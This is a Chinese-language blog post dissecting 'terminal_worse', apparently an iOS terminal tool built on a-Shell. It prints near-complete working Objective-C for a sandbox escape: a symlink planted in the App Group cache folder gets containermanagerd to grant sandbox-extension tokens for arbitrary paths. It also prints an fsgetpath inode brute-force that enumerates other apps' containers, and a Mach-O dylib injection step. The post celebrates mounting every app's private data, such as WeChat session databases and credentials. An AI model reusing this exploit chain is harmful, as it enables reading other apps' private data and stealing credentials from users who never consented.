突破 iOS 容器藩篱:深入 terminal_worse 的 worse_query 沙盒逃逸、fsgetpath 节点爆破与 a-Shell 插件化重构
在苹果严密的 iOS 安全体系中,应用沙盒(App Sandbox)始终被视为抵御恶意入侵与隔离隐私数据的核心防线。无论是开发者日常编译的调试应用,还是 App Store 分发的上架程序,都被严格限制在由内核与策略引擎划定的私有容器中。然而,对于长期从事移动安全审计与系统逆向的我而言,如何在这道坚不可摧的“围墙花园”内探寻逻辑间隙、窥探文件系统真实全貌,始终是一项极具挑战的技术课题。以往想要在端侧随意访问其他 App 的私有沙盒或系统目录,往往需要借助高危的内核内存损坏漏洞与越狱环境;但在高版本 iOS 上,这类高等级漏洞门槛极高,且极易导致系统崩溃。
最近我深入剖析并实机调试了一个名为 terminal_worse 的开源安全研究项目。它以著名的 iOS 终端应用 a-Shell 2.3.2 为底座,通过精巧的 Mach-O 动态库注入,将近年来备受安全界瞩目的 worse_query 沙盒逃逸技术与 APFS 节点扫描探针(fsgetpath)融为一体。它在完全不需要内核提权或越狱的前提下,仅凭应用自身的 App Group 签名权限与苹果官方守护进程的逻辑盲区,便成功借调内核沙盒扩展,将整机已安装应用的私有容器、系统共享组及底层配置完整自动挂载至终端工作区,并构筑了一套独立完整的端侧 APT 插件生态。
1. iOS 容器沙盒体系与 containermanagerd 的特权迷局
要想透彻理解 terminal_worse 的逃逸精髓,我首先需要梳理清 iOS 文件系统沙盒的底层组织架构,以及系统是如何对应用访问进行仲裁的。
在现代 iOS 中,应用沙盒由内核级策略模块(com.apple.security.sandbox)与系统守护进程 containermanagerd(ContainerManager)协同管控。每一个应用、插件或共享数据组,在文件系统中都有其特定的容器类别(Container Class):
- 应用数据容器(Class 2,
Data/Application):存放每个 App 的独立数据,位于/private/var/mobile/Containers/Data/Application/<UUID>,包含Documents、Library、tmp等子目录。每个应用只能访问属于自己 UUID 的容器。 - 应用组共享容器(Class 7,
Shared/AppGroup):供拥有相同 Team ID 与com.apple.security.application-groupsEntitlement 的应用或插件之间共享数据。 - 系统共享组容器(Class 11,
Shared/SystemGroup):存放系统级公共缓存与配置,如网络偏好、配置描述文件、设备特征缓存等。 - 内部守护进程容器(Class 10,
Data/InternalDaemon):存放系统原生守护进程的持久化配置与运行状态。
在正常的运行机制下,沙盒进程若需要访问容器外的特定资源(例如系统字库、特定扩展或配对硬件),必须获得内核颁发的沙盒扩展(Sandbox Extension)。这一过程通常由具备高度特权的系统守护进程 containermanagerd 处理。客户端通过 /usr/lib/system/libsystem_containermanager.dylib 暴露的 C API 发起跨进程通信(XPC),守护进程在核对客户端的 Entitlements 凭证后,调用内核接口生成一段经过加密签名的扩展令牌(Extension Token),客户端调用 sandbox_extension_consume(token) 后,内核便会在当前进程的沙盒控制块中记录对应的有效句柄,赋予该进程访问特定路径的权限。
以往著名的安全工具 badshell 曾利用过 Class 13 系统组的路径遍历漏洞(即向 systemgroup.com.apple.mobilegestaltcache 请求 ../../../../ 的跨层级访问)。然而,随着 iOS 系统的持续迭代,苹果迅速修补了路径规范化(Path Canonicalization)逻辑,封锁了通过相对路径跨越沙盒的行为。
正是在这一背景下,worse_query 采取了一种降维打击式的利用思路:既然守护进程校验了相对路径字符串,那如果我利用合法持有的 App Group 目录,在本地伪造一个物理级符号链接(Symbolic Link),守护进程在解析时是否会盲从信任?
2. worse_query 逃逸机理全景拆解:符号链接时序欺骗与特权借调
worse_query 的核心杀伤力在于:它不依赖任何内存越界或指针篡改,纯粹利用了特权服务与客户端之间的权限不对称与文件系统解析时序差。
为了直观呈现这一惊艳的逃逸全流程,我绘制了如下的执行时序与跨进程协同图谱:
2.1 逃逸攻击链的四个精妙阶段
如上图所示,整个利用过程被严格设计为四个阶段:
-
第一阶段:在组沙盒内埋设符号链接跳板
任何被签名且带有 App Group 的 iOS 应用,都对自身的 App Group 目录(/private/var/mobile/Containers/Shared/AppGroup/<UUID>)拥有完全不受限的创建、修改和删除权限。terminal_worse首先删除该目录下的Library/Caches,然后利用symlink()系统调用创建一个同名的符号链接,直接指向攻击者期望访问的外部目标(例如/private/var/mobile/Containers/Data/Application或/private/var/containers/Data/System)。 -
第二阶段:构造表面完全合法的容器查询
应用使用libsystem_containermanager.dylib构建查询:query_set_class(query, 7); // Class 7 = App Group query_set_group_identifiers(query, identifier); query_set_part(query, 3); // Part 3 = Library/Caches query_set_flags(query, 0x0000008000000000ULL);这一请求在格式上完全合法,客户端只是在申请对自己拥有权属的 App Group 缓存目录发放沙盒扩展。
-
第三阶段:守护进程盲目解引用符号链接(Dereference)
以特权身份运行的containermanagerd收到 XPC 请求后进行安全审查。它核实了调用进程确实拥有该 App Group 的签名权利,因此认为该操作安全无虞。然而,当守护进程调用底层解析 Part 3 对应的物理路径时,系统直接跟随并解引用了那个预先埋设好的符号链接!守护进程最终定位到了攻击者指定的外部目标绝对路径,并以特权身份命令内核沙盒驱动:“为该客户端生成针对该路径的沙盒扩展令牌”。 -
第四阶段:消费令牌与现场抹除
客户端拿到containermanagerd返回的结果后,立即调用:char *token = copy_sandbox_token(result); int64_t handle = consume_extension(token);内核沙盒模块核验令牌签名合法,直接向调用进程注入该越界路径的永久读写能力。随后,应用立即通过
sbx_clean_group_caches()移除恶意符号链接,重新建回正常的空目录,彻底消除了磁盘上的异常痕迹。
2.2 核心代码实现剖析
在 src/TerminalSBX.m 中,函数 sbx_worse_query() 完整封装了这一黑科技:
static int64_t sbx_worse_query(NSString *target, bool alt_flags, bool create_dir) {
if (target.length == 0 || ![target hasPrefix:@"/"]) return -255;
if (!create_dir) {
struct stat st;
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255;
}
NSString *group = sbx_group();
if (group.length == 0) return -1;
NSFileManager *fm = [NSFileManager defaultManager];
NSURL *groupRoot = [fm containerURLForSecurityApplicationGroupIdentifier:group];
if (!groupRoot) return -1;
NSString *caches = [[groupRoot URLByAppendingPathComponent:@"Library/Caches"] path];
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
if (!mgr) return -2;
// 动态解析 containermanager 核心函数指针
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
container_query_set_identifiers_fn query_set_group_identifiers =
(container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
container_query_set_flags_fn query_set_flags =
(container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
container_query_set_part_fn query_set_part =
(container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
container_query_get_single_result_fn query_get_single_result =
(container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
container_copy_sandbox_token_fn copy_sandbox_token =
(container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
sandbox_extension_consume_fn consume_extension =
(sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
void *query = query_create();
xpc_object_t identifier = xpc_string_create(group.UTF8String);
query_set_class(query, 7); // App Group
query_set_group_identifiers(query, identifier);
query_set_part(query, 3); // Library/Caches
if (alt_flags) {
query_set_flags(query, 0x0000000800000000ULL);
} else {
query_set_flags(query, 0x0000008000000000ULL);
}
// 关键攻击原语:就地替换符号链接
[fm removeItemAtPath:caches error:NULL];
if (![fm createSymbolicLinkAtPath:caches withDestinationPath:target error:NULL]) {
query_free(query);
dlclose(mgr);
return -4;
}
// 触发 containermanagerd 特权解析
void *result = query_get_single_result(query);
if (!result) {
query_free(query);
dlclose(mgr);
sbx_clean_group_caches(group);
return -5;
}
char *token = copy_sandbox_token(result);
int64_t handle = consume_extension(token);
free(token);
query_free(query);
dlclose(mgr);
sbx_clean_group_caches(group); // 恢复现场
return handle;
}
代码中对于 alt_flags 的设计也非常有讲究:在特定高版本(如 iOS 26/27 分支环境)中,不同路径类别的标志位存在微调,作者通过运行时嗅探操作系统主版本号,自动切换标志位以确保 100% 成功率。
3. 突破系统级封锁:基于 fsgetpath 扫描的 APFS 节点爆破探针
掌握了 worse_query,看似我已经可以获得任意已知路径的访问权。然而在实际落地时,项目遇到了一个几乎致命的系统级防御屏障。
3.1 父目录封锁与 UUID 黑洞
苹果在高版本 iOS 中对容器服务做了一次重大加固:系统完全拒绝向应用授予 /private/var/mobile/Containers/Data/Application 等父目录的沙盒扩展!
这意味着什么?
在 iOS 中,每个第三方应用的容器目录名都是由随机生成的 UUID 命名的(例如 /private/var/mobile/Containers/Data/Application/3B9D4F28-8C31-4F5A-8E29-B5B9F4E5A8B2)。由于你无法挂载父目录,你就无法像在 macOS 或 Linux 上那样使用 opendir() 和 readdir() 来列出当前手机里到底装了哪些应用;而如果你不知道具体应用的 UUID,你就根本无法向 worse_query 传入目标路径,也就无法完成逃逸挂载!
这直接形成了一个逻辑死锁:能借权单个容器,却无法获知容器列表。
3.2 破解死锁:APFS 底层调用 fsgetpath()
为了击碎这一闭环限制,terminal_worse 引入了源自 pathleak 的前沿探索技术:利用 Darwin 内核的 fsgetpath() 针对 APFS 卷进行 Inode 爆破。
在 BSD / Darwin 系统中,fsgetpath() 是一个底层的私有系统调用,其函数原型如下:
ssize_t fsgetpath(char *buf, size_t buflen, fsid_t *fsid, uint64_t obj_id);
它的魔力在于:它根据文件系统的对象 ID(Inode)直接从 APFS 的 B-Tree 元数据中逆向解析出绝对物理路径,整个过程根本不需要调用方拥有父目录的目录检索权限(+x)!
在 TerminalSBX.m 中,sbx_pathleak() 函数展示了这一暴力的破解过程:
static NSArray<NSString *> *sbx_pathleak(NSString *root, uint64_t max_inode, double seconds) {
if (root.length == 0 || max_inode < 1) return nil;
NSString *dir = sbx_canonical(root);
while (dir.length > 1 && [dir hasSuffix:@"/"]) dir = [dir substringToIndex:dir.length - 1];
struct statfs sfs;
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
NSString *tmp = NSTemporaryDirectory();
if (tmp.length == 0 || statfs(tmp.fileSystemRepresentation, &sfs) != 0) return nil;
}
fsid_t fsid = sfs.f_fsid;
const char *prefix = dir.fileSystemRepresentation;
size_t prefix_len = strlen(prefix);
NSMutableArray<NSString *> *result = [NSMutableArray array];
char buffer[PATH_MAX];
double start = sbx_now();
// 毫秒级遍历 APFS Inode 范围
for (uint64_t inode = 1; inode <= max_inode; inode++) {
if (seconds > 0 && (inode & 0xFFF) == 0 && (sbx_now() - start) > seconds) break;
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
if (n <= 0) continue;
if (strncmp(buffer, prefix, prefix_len) != 0) continue;
if (buffer[prefix_len] != '/') continue;
// 确保只保留直接子目录,排除多级嵌套
if (strchr(buffer + prefix_len + 1, '/') != NULL) continue;
NSString *path = [[NSFileManager defaultManager] stringWithFileSystemRepresentation:buffer length:strlen(buffer)];
if (path.length > 0) [result addObject:path];
}
[result sortUsingSelector:@selector(localizedStandardCompare:)];
return result;
}
通过指定上限扫描 2,000,000 个 Inode,在搭载 A18/A19 芯片的现代 iPhone 上,APFS 的高速闪存寻址仅需数秒钟,便能精准命中所有位于 /var/mobile/Containers/Data/Application 下的有效 UUID 目录!
3.3 容器身份关联:Bundle ID 提取
一旦获取了 UUID 物理路径,下一步就是弄清楚这个随机字符到底对应哪一个具体的 App。terminal_worse 采用了两级回溯方案:
- 优先读取扩展属性:调用
getxattr()获取com.apple.containermanager.identifier,大部分系统容器都会直接在此记录包名; - 回退解析元数据:读取容器根目录下的隐藏文件
.com.apple.mobile_container_manager.metadata.plist,提取其中的MCMMetadataIdentifier键值。
至此,所有的黑盒应用容器被成功还原为具象的包名标识(如 com.tencent.xin、com.apple.mobilesafari)。
4. terminal_worse 全栈系统架构与端侧文件织网
在攻克了提权与探测两大理论关卡后,如何将其无缝缝合进一个成熟的终端应用中,为用户提供丝滑的端侧极客体验?
我将 terminal_worse 的全栈架构拓扑、二进制注入与模块联动关系系统性梳理如下:
4.1 二进制改写与构造函数接管
terminal_worse 并没有选择重写整个终端,而是巧妙地通过二进制注入复用成熟的 a-Shell 2.3.2:
- Mach-O 弱依赖注入:使用 Python 的
LIEF库,向 a-Shell 主执行体中插入一条弱链接指令:command = lief.MachO.DylibCommand.weak_lib("@executable_path/Frameworks/TerminalSBX.dylib") binary.add(command) - 启动重置与异步脱离:在
TerminalSBX.dylib中,利用 C 语言的__attribute__((constructor))定义启动构造器sbx_initialize():__attribute__((constructor)) static void sbx_initialize(void) { // 强制关闭历史会话还原,确保冷启动干净 [[NSUserDefaults standardUserDefaults] setBool:NO forKey:@"keep_content"]; // 脱离主线程执行全量自动挂载 pthread_t thread; if (pthread_create(&thread, NULL, sbx_automount_thread, NULL) == 0) { pthread_detach(thread); } }
4.2 全屏原生阻塞进度条
为了避免 a-Shell 在底层尚未挂载完成前提前载入终端导致路径竞争,terminal_worse 采用纯代码在 UIWindow 上模态推出了 SBXProgressViewController。进度条实时呈现:
- “正在获取沙盒扩展…”
- “发现 142 个 apps 容器…”
- “正在挂载便捷目录…”
4.3 虚拟工作区编织:~/Documents/_sandbox/
挂载逻辑完成后,应用会在用户的文档目录下构建一个极其规整的树状工作区:
~/Documents/_sandbox/
├── apps/ # 所有第三方与系统 App 数据
│ ├── com.tencent.xin/
│ │ ├── Documents/ # 用户文档软链接
│ │ ├── Library/ # 偏好设置与缓存软链接
│ │ ├── tmp/ # 临时文件
│ │ ├── SystemData/ # 系统数据
│ │ └── _data # 指向完整容器根目录的硬核跳板
│ └── com.apple.mobilesafari/
├── system/ # /var/containers/Data/System
├── systemgroups/ # /var/containers/Shared/SystemGroup/*
├── daemons/ # 内部守护进程数据
├── plugins/ # 插件扩展数据
├── appgroups/ # 共享 AppGroup 数据
├── gestalt/ # MobileGestalt 硬件特征配置
├── configprofiles/ # MDM 与系统描述文件
└── .mount_info # 包含当前所有活跃句柄与挂载度量的清单
挂载完成的一瞬间,进度窗口自动淡出,并通过 a-Shell 自带的 URL Scheme 调起启动命令:
sbx_open_command_url(@"source ~/Documents/.sbx_start");
终端自动清屏,就地 cd ~/Documents/_sandbox 并执行 ls,用户一睁眼便已置身于整个 iOS 设备的数据核心。
5. 独立生态构建:原生 termenv 环境、APT 包管理与 Mach-O 限制壁垒
一个真正的终端不仅要能“看”,还要能“装”。terminal_worse 在 env/ 目录下打造了一套极为惊艳的轻量级包管理子系统——termenv。
5.1 独立 POSIX 前缀设计
termenv 在 ~/Documents/.terminal 下创建了完整的 POSIX 目录结构:
bin/、sbin/:可执行脚本与包装器;etc/profile、etc/apt/sources.list:环境变量配置与软件源定义;var/lib/dpkg/status:兼容 Debian 标准的状态数据库;repo/:内置的本地 Debian 软件源池。
用户只需在终端中执行:
termenv init
source ~/Documents/.terminal/etc/profile # 或 termenv on
apt update
apt install <package>
默认集成了 Procursus 与 Havoc 越狱主流源,支持下载 Packages.xz、Packages.gz 并完成本地索引编目。
5.2 Python pkgtool 后端:规避 iOS 端裁剪工具缺陷
在受限的移动端执行环境里,传统的 ar、tar 命令行工具往往存在各种参数截断或格式不兼容 Bug。为此,项目在 env/pkgtool 中用原生 Python 3 实现了一套纯解释型的 Debian 归档打包器与解包器:
- 手写实现
!<arch>\n头部解析与 60 字节 member header 解构; - 使用 Python 内置
tarfile库解压data.tar.gz/data.tar.xz; - 维护
var/lib/dpkg/status中的Package,Version,Status: install ok installed等核心字段。
这使得其在不依赖额外 C 编译工具链的情况下,具备了稳健的解包与安装能力。
5.3 关键执行壁垒:Mach-O 签名保护与 plugin-run
在实测中,我重点研究了它的一个核心限制:从 Procursus 或 Havoc 源安装的 .deb 包,里面的二进制可以直接运行吗?
答案是:不能直接运行原生 Mach-O 二进制。
这是 iOS 平台深层架构决定的不可逾越之壁:
- 进程模型限制:a-Shell 运行在单进程虚拟多线程模型下(基于
ios_system),外部命令是以动态库符号或解释型脚本形式在同一进程内加载的,其命令加载器isRealCommand会主动校验并拒绝执行独立的 Mach-O 文件; - 内核代码签名执行限制(CS_RESTRICT / CS_KILL):在没有越狱或没有利用 PPL/PAC 绕过内核代码签名校验的情况下,内核禁止应用进程通过
posix_spawn或execve启动未经苹果官方或开发描述文件签名的可执行二进制。
为了防止用户因执行二进制报错 command not found 而困惑,项目专门设计了 plugin-run 拦截脚本:
MAGIC=$(dd if="$FOUND" bs=4 count=1 2>/dev/null | od -An -tx1 2>/dev/null | tr -d ' \n')
case "$MAGIC" in
cffaedfe|feedfacf|cafebabe|bebafeca)
echo "plugin-run: '$CMD' is a native Mach-O executable." >&2
echo "a-Shell does not execute standalone Mach-O binaries in its sandbox." >&2
echo "Native Procursus/Havoc CLI packages require a jailbreak or a Linux emulator." >&2
echo "Script plugins (#!/bin/sh, python, perl, lua, wasm) can run normally." >&2
exit 126
;;
esac
它通过读取文件头前 4 个字节判断 Mach-O 魔数(如 64 位小端 feedfacf 或通用胖二进制 cafebabe),清晰地向用户解释限制原因,同时全力放行基于 Shell 脚本、Python、Perl、Lua 以及 WebAssembly(WASM)编写的跨平台插件。
6. 终端极客体验:纯 C/ObjC 原生 neofetch 与底层遥测实测
除了沙盒逃逸和包管理器,terminal_worse 还在交互层面注入了大量的极客情怀。最吸引眼球的莫过于其完全用 Objective-C / C 语言重写、内嵌在动态库中的原生 neofetch。
6.1 抛弃笨重脚本,拥抱系统级底层 API
传统的 neofetch 是一个庞大的 bash 脚本,在移动设备上启动缓慢且难以读取底层硬件参数。而 TerminalSBX.m 内置的 sbx_neofetch 则直接向底层系统调用索取数据:
- GPU 探测:直接调用 Metal 框架的
MTLCreateSystemDefaultDevice().name,精准输出类似Apple A18 Pro GPU的硬件型号; - 内存快照:通过 Mach 微内核的
task_info(mach_task_self(), MACH_TASK_BASIC_INFO, ...)提取当前应用瞬时物理常驻内存(RSS),并结合NSProcessInfo.physicalMemory输出物理总内存; - 磁盘容量:使用
statfs(NSHomeDirectory(), ...)精确计算可用区块与总容量; - 网络与热状态:遍历
getifaddrs()抓取当前连接的en0Wi-Fi 本地 IP,同时监听系统的NSProcessInfoThermalState输出温控档位(Nominal / Fair / Serious / Critical)。
在终端中输入 neofetch,经典复古的小巧彩虹 Apple ASCII 标志伴随着精美的 ANSI 256 高亮排版跃然屏上:
.:'
_ :'_
.'`_`-'_``.
:________.-'
:_______:
:_______:
:_______:
`._.-._.'
Terminal · a-Shell 2.3.2
root@iPhone
-----------------------------
OS iOS 27.0.1 (24A446)
Host iPhone
Model iPhone18,2 (D94AP)
Kernel Darwin 26.0.0
Uptime 2 days, 4 hours, 18 mins
Shell a-Shell 2.3.2 · Terminal
Resolution 2868x1320 @3x
CPU 6 cores · arm64e
GPU Apple A18 Pro GPU
Memory 148.5 MB app / 7.6 GB total
Disk 215.4 GB free / 512.0 GB
Battery 88% (unplugged)
Thermal Nominal
Locale zh_CN
Timezone Asia/Shanghai
IP 192.168.1.108
整个执行过程毫秒级响应,没有任何外部进程派生的卡顿感。
6.2 专属命令集与实测效果
项目将原有混杂的 badshell 命令全面重构为一套优雅规范的 sbx_* 工具集:
| 命令 | 功能描述 | 实操应用场景 |
|---|---|---|
sbxhelp |
帮助总览与挂载状态 | 查看系统当前支持的所有逃逸路径与快捷命令 |
sbx_status -v |
查看 App Group 状态与活跃句柄 | 检查内核分配的全部 Extension Handle ID 与绑定路径 |
sbx_remount |
重新触发全自动挂载 | 设备重启或应用切后台句柄失效后一键重连 |
sbx_grant [-c] <path> |
动态对特定路径申请沙盒扩展 | 对临时发现的深层目录手动获取访问权 |
sbx_hexdump -n N <file> |
跨容器文件的十六进制查看器 | 审计其他 App 数据库头或私有加密凭证 |
sbx_containers [root] |
枚举特定根目录下的已识别应用 | 快速定位目标应用的真实 UUID 目录 |
当我进入 _sandbox/apps/com.tencent.xin/Documents,敲下 ls -la,眼前展开的是完整的会话数据库与私有资源;而这一切,发生在一台未越狱、原生运行最新安全防护机制的 iPhone 上。
7. 总结与安全研判
深入拆解完 terminal_worse 的整个工程实现,我不得不为其背后展现的攻击面洞察与精巧构思深感震撼。
长期以来,在许多开发者和安全研究者的固有认知中,“越界访问其他应用数据”似乎必须以“破坏内核完整性”为前提。大家往往把目光死死盯在 Safari WebKit JIT 漏洞、内核堆喷射或物理页表篡改等硬核内存攻防上。
然而,terminal_worse 所依附的 worse_query 却给所有人上了一堂生动的逻辑漏洞威胁课:
- 特权守护进程的“盲从”是最大的阿喀琉斯之踵:
containermanagerd作为管理整机容器生命周期的高特权中枢,在向内核代请沙盒扩展时,未能对其解析后的物理终点实施二次权限校验,导致符号链接成为了四两拨千斤的“特权跳板”; - 底层文件系统接口的信息泄漏不容忽视:
fsgetpath()等 APFS 诊断级调用的设计初衷是为了高效维护文件系统,但在设计之初未曾设想过其绕过父目录检索权限枚举子节点的能力,最终成为了黑客拼凑攻击链的致命拼图; - 架构层面的工程之美:项目没有止步于漏洞的概念验证(PoC),而是以匠人精神将注入补丁、UI 阻塞反馈、Inode 探测、符号链接工作区重构与独立的 APT 生态融汇成一个浑然一体的高可用产品,极大拓展了 iOS 端侧安全研究与逆向分析的操作维度。
随着苹果后续在系统层面强化对 containermanagerd 符号链接解析的严格溯源,这类逃逸手法最终或许难免被封堵;但在移动安全对抗的漫长历史长河中,这种通过对系统既有机制深刻洞察而开辟出的“破壁之路”,将永远值得每一位技术极客细细品味与学习。
原文链接与参考资料
- 源码仓库:terminal_worse 官方仓库 - git.jbjflab.top
- a-Shell 官方上游项目:Nicolas-H/a-Shell - A text-based user interface for iOS
- worse_query 漏洞研究与原作者:Taj C / forcequitOS - worse_query sandbox escape
- badshell 逆向研究项目:wormprojects/badshell - iOS terminal sandbox research
- pathleak 节点探测研究:forcequitOS/pathleak - fsgetpath APFS inode traversal
- neofetch 原创项目:dylanaraps/neofetch - CLI system information tool